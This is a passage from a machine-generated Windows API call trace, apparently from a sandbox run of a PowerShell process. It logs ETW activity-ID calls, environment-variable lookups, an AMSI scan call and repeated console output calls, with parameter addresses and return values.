[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bdc54*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x3f, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0276.688] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bdcd8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4c, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bdcd8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4c, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0276.689] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x87bd610, nSize=0xc3 | out: lpBuffer="Թ호ࡻ") returned 0x0 [0276.689] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x87bd97c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bd97c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4d, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0276.690] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bd8e8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bd8e8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4c, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0276.690] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bd96c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4d, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bd96c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4d, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0276.690] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bd90c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bd90c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4d, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0276.845] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bdc78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bdc78*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4d, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0276.846] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bdcd8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4c, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bdcd8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4c, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0278.332] CoCreateGuid (in: pguid=0x87bdd84 | out: pguid=0x87bdd84*(Data1=0x58530489, Data2=0xb928, Data3=0x4425, Data4=([0]=0x8d, [1]=0x80, [2]=0x56, [3]=0xfe, [4]=0x2b, [5]=0xf1, [6]=0x89, [7]=0x5c))) returned 0x0 [0278.332] QueryPerformanceCounter (in: lpPerformanceCount=0x87bdbc0 | out: lpPerformanceCount=0x87bdbc0*=37312452302) returned 1 [0278.332] AmsiScanString () returned 0x80070015 [0278.337] QueryPerformanceCounter (in: lpPerformanceCount=0x87bdb88 | out: lpPerformanceCount=0x87bdb88*=37312946516) returned 1 [0278.337] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x87bdce8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bdce8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4f, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0278.337] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bdc54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bdc54*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4c, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0278.337] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bdcd8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4f, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bdcd8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4f, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0278.337] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x87bd610, nSize=0xc3 | out: lpBuffer="\x03") returned 0x0 [0278.338] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x87bd97c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bd97c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x50, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0278.338] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bd8e8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bd8e8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4f, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0278.338] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bd96c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x50, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bd96c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x50, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0278.338] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bd90c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bd90c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x50, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0278.597] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bdc78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bdc78*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x50, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0278.597] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bdcd8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4f, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bdcd8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4f, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0278.792] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be3ac | out: lpConsoleScreenBufferInfo=0x87be3ac) returned 1 [0278.880] GetConsoleOutputCP () returned 0x1b5 [0279.111] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x87be224, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x87be224) returned 0 [0279.112] GetConsoleOutputCP () returned 0x1b5 [0279.205] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x87be224, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x87be224) returned 0 [0279.205] GetConsoleOutputCP () returned 0x1b5 [0279.319] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x87be224, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x87be224) returned 0 [0279.319] GetConsoleOutputCP () returned 0x1b5 [0279.411] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x87be224, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x87be224) returned 0 [0279.411] GetConsoleOutputCP () returned 0x1b5 [0279.504] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x87be224, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x87be224) returned 0 [0279.504] GetConsoleOutputCP () returned 0x1b5 [0279.593] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x87be224, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x87be224) returned 0 [0279.593] GetConsoleOutputCP () returned 0x1b5 [0279.682] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x87be224, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x87be224) returned 0 [0279.684] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be304 | out: lpConsoleScreenBufferInfo=0x87be304) returned 1 [0279.768] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be29c | out: lpConsoleScreenBufferInfo=0x87be29c) returned 1 [0279.860] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be29c | out: lpConsoleScreenBufferInfo=0x87be29c) returned 1 [0280.034] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a4 | out: lpConsoleScreenBufferInfo=0x87be2a4) returned 1 [0280.127] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x5c) returned 1 [0280.222] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a4 | out: lpConsoleScreenBufferInfo=0x87be2a4) returned 1 [0280.360] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0xc) returned 1 [0280.473] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x87bd928, nSize=0xc3 | out: lpBuffer="?ࡻ?ࡻ竔狎ᡌ鷁抈猲") returned 0x0 [0280.474] GetConsoleMode (in: hConsoleHandle=0x63c, lpMode=0x87be2c0 | out: lpMode=0x87be2c0) returned 1 [0280.564] WriteConsoleW (in: hConsoleOutput=0x63c, lpBuffer=0x53e6530*, nNumberOfCharsToWrite=0x27, lpNumberOfCharsWritten=0x87be2b4, lpReserved=0x0 | out: lpBuffer=0x53e6530*, lpNumberOfCharsWritten=0x87be2b4*=0x27) returned 1 [0280.659] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a0 | out: lpConsoleScreenBufferInfo=0x87be2a0) returned 1 [0280.741] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x6) returned 1 [0280.878] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a0 | out: lpConsoleScreenBufferInfo=0x87be2a0) returned 1 [0281.253] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x56) returned 1 [0281.348] GetConsoleMode (in: hConsoleHandle=0x63c, lpMode=0x87be300 | out: lpMode=0x87be300) returned 1 [0281.476] WriteConsoleW (in: hConsoleOutput=0x63c, lpBuffer=0x50a47f4*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x87be2f4, lpReserved=0x0 | out: lpBuffer=0x50a47f4*, lpNumberOfCharsWritten=0x87be2f4*=0x1) returned 1 [0281.580] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be304 | out: lpConsoleScreenBufferInfo=0x87be304) returned 1 [0281.674] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be29c | out: lpConsoleScreenBufferInfo=0x87be29c) returned 1 [0281.766] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be29c | out: lpConsoleScreenBufferInfo=0x87be29c) returned 1 [0281.867] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a4 | out: lpConsoleScreenBufferInfo=0x87be2a4) returned 1 [0282.064] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x5c) returned 1 [0282.207] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a4 | out: lpConsoleScreenBufferInfo=0x87be2a4) returned 1 [0282.350] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0xc) returned 1 [0282.485] GetConsoleMode (in: hConsoleHandle=0x63c, lpMode=0x87be2c0 | out: lpMode=0x87be2c0) returned 1 [0282.592] WriteConsoleW (in: hConsoleOutput=0x63c, lpBuffer=0x53e658c*, nNumberOfCharsToWrite=0x10, lpNumberOfCharsWritten=0x87be2b4, lpReserved=0x0 | out: lpBuffer=0x53e658c*, lpNumberOfCharsWritten=0x87be2b4*=0x10) returned 1 [0282.688] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a0 | out: lpConsoleScreenBufferInfo=0x87be2a0) returned 1 [0282.781] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x6) returned 1 [0282.875] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a0 | out: lpConsoleScreenBufferInfo=0x87be2a0) returned 1 [0283.173] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x56) returned 1 [0283.252] GetConsoleMode (in: hConsoleHandle=0x63c, lpMode=0x87be300 | out: lpMode=0x87be300) returned 1 [0283.369] WriteConsoleW (in: hConsoleOutput=0x63c, lpBuffer=0x50a47f4*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x87be2f4, lpReserved=0x0 | out: lpBuffer=0x50a47f4*, lpNumberOfCharsWritten=0x87be2f4*=0x1) returned 1 [0283.469] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be304 | out: lpConsoleScreenBufferInfo=0x87be304) returned 1 [0283.563] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be29c | out: lpConsoleScreenBufferInfo=0x87be29c) returned 1 [0283.656] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be29c | out: lpConsoleScreenBufferInfo=0x87be29c) returned 1 [0283.751] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a4 | out: lpConsoleScreenBufferInfo=0x87be2a4) returned 1 [0283.845] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x5c) returned 1 [0284.331] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a4 | out: lpConsoleScreenBufferInfo=0x87be2a4) returned 1 [0284.486] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0xc) returned 1 [0284.594] GetConsoleMode (in: hConsoleHandle=0x63c, lpMode=0x87be2c0 | out: lpMode=0x87be2c0) returned 1 [0284.687] WriteConsoleW (in: hConsoleOutput=0x63c, lpBuffer=0x53e65bc*, nNumberOfCharsToWrite=0x40, lpNumberOfCharsWritten=0x87be2b4, lpReserved=0x0 | out: lpBuffer=0x53e65bc*, lpNumberOfCharsWritten=0x87be2b4*=0x40) returned 1 [0284.797] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a0 | out: lpConsoleScreenBufferInfo=0x87be2a0) returned 1 [0284.891] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x6) returned 1 [0285.143] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a0 | out: lpConsoleScreenBufferInfo=0x87be2a0) returned 1 [0285.235] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x56) returned 1 [0285.328] GetConsoleMode (in: hConsoleHandle=0x63c, lpMode=0x87be300 | out: lpMode=0x87be300) returned 1 [0285.422] WriteConsoleW (in: hConsoleOutput=0x63c, lpBuffer=0x50a47f4*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x87be2f4, lpReserved=0x0 | out: lpBuffer=0x50a47f4*, lpNumberOfCharsWritten=0x87be2f4*=0x1) returned 1 [0285.531] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be304 | out: lpConsoleScreenBufferInfo=0x87be304) returned 1 [0285.626] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be29c | out: lpConsoleScreenBufferInfo=0x87be29c) returned 1 [0285.718] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be29c | out: lpConsoleScreenBufferInfo=0x87be29c) returned 1 [0285.847] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a4 | out: lpConsoleScreenBufferInfo=0x87be2a4) returned 1 [0286.048] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x5c) returned 1 [0286.143] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a4 | out: lpConsoleScreenBufferInfo=0x87be2a4) returned 1 [0286.234] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0xc) returned 1 [0286.330] GetConsoleMode (in: hConsoleHandle=0x63c, lpMode=0x87be2c0 | out: lpMode=0x87be2c0) returned 1 [0286.422] WriteConsoleW (in: hConsoleOutput=0x63c, lpBuffer=0x53e664c*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x87be2b4, lpReserved=0x0 | out: lpBuffer=0x53e664c*, lpNumberOfCharsWritten=0x87be2b4*=0x20) returned 1 [0286.562] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a0 | out: lpConsoleScreenBufferInfo=0x87be2a0) returned 1 [0286.648] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x6) returned 1 [0286.720] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a0 | out: lpConsoleScreenBufferInfo=0x87be2a0) returned 1 [0286.814] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x56) returned 1 [0286.896] GetConsoleMode (in: hConsoleHandle=0x63c, lpMode=0x87be300 | out: lpMode=0x87be300) returned 1 [0287.195] WriteConsoleW (in: hConsoleOutput=0x63c, lpBuffer=0x50a47f4*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x87be2f4, lpReserved=0x0 | out: lpBuffer=0x50a47f4*, lpNumberOfCharsWritten=0x87be2f4*=0x1) returned 1 [0287.284] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be304 | out: lpConsoleScreenBufferInfo=0x87be304) returned 1 [0287.422] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be29c | out: lpConsoleScreenBufferInfo=0x87be29c) returned 1 [0287.534] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be29c | out: lpConsoleScreenBufferInfo=0x87be29c) returned 1 [0287.627] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a4 | out: lpConsoleScreenBufferInfo=0x87be2a4) returned 1 [0287.694] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x5c) returned 1 [0287.702] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a4 | out: lpConsoleScreenBufferInfo=0x87be2a4) returned 1 [0287.726] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0xc) returned 1 [0287.744] GetConsoleMode (in: hConsoleHandle=0x63c, lpMode=0x87be2c0 | out: lpMode=0x87be2c0) returned 1 [0287.763] WriteConsoleW (in: hConsoleOutput=0x63c, lpBuffer=0x53e669c*, nNumberOfCharsToWrite=0x58, lpNumberOfCharsWritten=0x87be2b4, lpReserved=0x0 | out: lpBuffer=0x53e669c*, lpNumberOfCharsWritten=0x87be2b4*=0x58) returned 1 [0287.852] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a0 | out: lpConsoleScreenBufferInfo=0x87be2a0) returned 1 [0287.896] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x6) returned 1 [0287.902] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a0 | out: lpConsoleScreenBufferInfo=0x87be2a0) returned 1 [0287.916] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x56) returned 1 [0287.931] GetConsoleMode (in: hConsoleHandle=0x63c, lpMode=0x87be300 | out: lpMode=0x87be300) returned 1 [0287.934] WriteConsoleW (in: hConsoleOutput=0x63c, lpBuffer=0x50a47f4*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x87be2f4, lpReserved=0x0 | out: lpBuffer=0x50a47f4*, lpNumberOfCharsWritten=0x87be2f4*=0x1) returned 1 [0288.068] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be304 | out: lpConsoleScreenBufferInfo=0x87be304) returned 1 [0288.099] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be29c | out: lpConsoleScreenBufferInfo=0x87be29c) returned 1 [0288.156] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be29c | out: lpConsoleScreenBufferInfo=0x87be29c) returned 1 [0288.250] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a4 | out: lpConsoleScreenBufferInfo=0x87be2a4) returned 1 [0288.312] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x5c) returned 1 [0288.356] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a4 | out: lpConsoleScreenBufferInfo=0x87be2a4) returned 1 [0288.401] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0xc) returned 1 [0288.405] GetConsoleMode (in: hConsoleHandle=0x63c, lpMode=0x87be2c0 | out: lpMode=0x87be2c0) returned 1 [0288.438] WriteConsoleW (in: hConsoleOutput=0x63c, lpBuffer=0x53e675c*, nNumberOfCharsToWrite=0x69, lpNumberOfCharsWritten=0x87be2b4, lpReserved=0x0 | out: lpBuffer=0x53e675c*, lpNumberOfCharsWritten=0x87be2b4*=0x69) returned 1 [0288.484] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a0 | out: lpConsoleScreenBufferInfo=0x87be2a0) returned 1 [0288.532] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x6) returned 1 [0288.580] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a0 | out: lpConsoleScreenBufferInfo=0x87be2a0) returned 1 [0288.594] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x56) returned 1 [0288.694] GetConsoleMode (in: hConsoleHandle=0x63c, lpMode=0x87be300 | out: lpMode=0x87be300) returned 1 [0288.748] WriteConsoleW (in: hConsoleOutput=0x63c, lpBuffer=0x50a47f4*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x87be2f4, lpReserved=0x0 | out: lpBuffer=0x50a47f4*, lpNumberOfCharsWritten=0x87be2f4*=0x1) returned 1 [0288.787] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be304 | out: lpConsoleScreenBufferInfo=0x87be304) returned 1 [0288.793] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be29c | out: lpConsoleScreenBufferInfo=0x87be29c) returned 1 [0288.804] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be29c | out: lpConsoleScreenBufferInfo=0x87be29c) returned 1 [0288.808] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a4 | out: lpConsoleScreenBufferInfo=0x87be2a4) returned 1 [0288.844] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x5c) returned 1 [0288.875] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a4 | out: lpConsoleScreenBufferInfo=0x87be2a4) returned 1 [0288.931] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0xc) returned 1 [0289.016] GetConsoleMode (in: hConsoleHandle=0x63c, lpMode=0x87be2c0 | out: lpMode=0x87be2c0) returned 1 [0289.093] WriteConsoleW (in: hConsoleOutput=0x63c, lpBuffer=0x53e683c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x87be2b4, lpReserved=0x0 | out: lpBuffer=0x53e683c*, lpNumberOfCharsWritten=0x87be2b4*=0x1) returned 1 [0289.116] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a0 | out: lpConsoleScreenBufferInfo=0x87be2a0) returned 1 [0289.161] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x6) returned 1 [0289.208] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be2a0 | out: lpConsoleScreenBufferInfo=0x87be2a0) returned 1 [0289.251] SetConsoleTextAttribute (hConsoleOutput=0x63c, wAttributes=0x56) returned 1 [0289.297] GetConsoleMode (in: hConsoleHandle=0x63c, lpMode=0x87be300 | out: lpMode=0x87be300) returned 1 [0289.325] WriteConsoleW (in: hConsoleOutput=0x63c, lpBuffer=0x50a47f4*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x87be2f4, lpReserved=0x0 | out: lpBuffer=0x50a47f4*, lpNumberOfCharsWritten=0x87be2f4*=0x1) returned 1 [0289.377] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bea9c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, 